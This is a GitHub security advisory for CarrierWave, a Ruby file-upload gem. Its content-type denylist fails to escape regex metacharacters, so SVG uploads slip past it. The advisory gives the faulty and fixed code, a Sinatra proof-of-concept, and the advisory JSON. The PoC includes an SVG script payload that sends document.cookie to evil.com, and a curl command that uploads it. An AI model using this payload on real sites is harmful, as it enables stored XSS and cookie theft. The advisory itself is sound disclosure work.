GHSA-7G26-2QGJ-CHFG

Vulnerability from github – Published: 2026-05-27 00:03 – Updated: 2026-07-08 17:39
VLAI
Summary
CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters
Details

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end
bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "carrierwave"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0.beta"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "carrierwave"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T00:03:11Z",
    "nvd_published_at": "2026-06-17T13:20:40Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nCarrierWave\u0027s content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.\n\n**Note**: CarrierWave is aware `#content_type_denylist is deprecated for the security reason`, but it still used by developers, and the problem here isn\u0027t denylist allows any filetype, and thats not a  vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.\n\n### Details\nIn `lib/carrierwave/uploader/content_type_denylist.rb:57`, string denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring:\n\n```ruby\ndef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? { |item| content_type =~ /#{item}/ }\nend\nThe entry \"image/svg+xml\" becomes the regex /image\\/svg+xml/ where + is a quantifier meaning \"one or more g\", not a literal +. This regex never matches the real MIME type \"image/svg+xml\" which contains a literal +.\nThis is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \\A anchor:\nrubydef allowlisted_content_type?(allowlist, content_type)\n  Array(allowlist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\nOther affected MIME types include `application/xhtml+xml` and any type containing regex metacharacters.\n\nFix: Apply Regexp.quote for string entries and anchor with \\A, matching the existing allowlist implementation:\n```\nrubydef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\n### PoC\n\n\n```\n app.rb\nrequire \"sinatra\"\nrequire \"carrierwave\"\nrequire \"fileutils\"\n\nFileUtils.mkdir_p(\"uploads/files\")\n\nCarrierWave.configure do |config|\n  config.root      = File.expand_path(\"uploads\")\n  config.store_dir = \"files\"\nend\n\nclass VaultUploader \u003c CarrierWave::Uploader::Base\n  storage :file\n  def store_dir = \"files\"\n  def content_type_denylist = %w[image/svg+xml]\nend\n\npost \"/upload\" do\n  content_type :json\n  san = CarrierWave::SanitizedFile.new(\n    tempfile:     params[:file][:tempfile],\n    filename:     params[:file][:filename],\n    content_type: params[:file][:type]\n  )\n  uploader = VaultUploader.new\n  begin\n    uploader.store!(san)\n    { result: \"VULNERABLE\", message: \"SVG bypassed denylist\", path: uploader.path }.to_json\n  rescue CarrierWave::IntegrityError =\u003e e\n    { result: \"blocked\", message: e.message }.to_json\n  end\nend\n```\n\n```\nbundle exec ruby app.rb \u0026\n\necho \u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cscript\u003edocument.location=\"https://evil.com/?c=\"+document.cookie\u003c/script\u003e\u003c/svg\u003e\u0027 \u003e xss.svg\n\ncurl -X POST http://localhost:4567/upload \\\n  -F \"file=@xss.svg;type=image/svg+xml\"\n```\n\nExpected response (denylist working):\n```\njson{ \"result\": \"blocked\", \"message\": \"...\" }\n```\n\n\nActual response:\n```\njson{ \"result\": \"VULNERABLE\", \"message\": \"SVG bypassed denylist\", \"path\": \"...\" }\n```\n### Impact\nAny application that uses content_type_denylist to block image/svg+xml \u2014 the most common use case, specifically to prevent stored XSS \u2014 is silently unprotected. An attacker can upload an SVG file containing arbitrary",
  "id": "GHSA-7g26-2qgj-chfg",
  "modified": "2026-07-08T17:39:32Z",
  "published": "2026-05-27T00:03:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-7g26-2qgj-chfg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44587"
    },
    {
      "type": "WEB",
      "url": "https://github.com/carrierwaveuploader/carrierwave/commit/21221cc6e260633f7da78c6133a88666a5529d27"
    },
    {
      "type": "WEB",
      "url": "https://github.com/carrierwaveuploader/carrierwave/commit/4c4a005775a436c5165df014dc9b1874c227d86c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/carrierwaveuploader/carrierwave"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2026-44587.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44587"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters"
}



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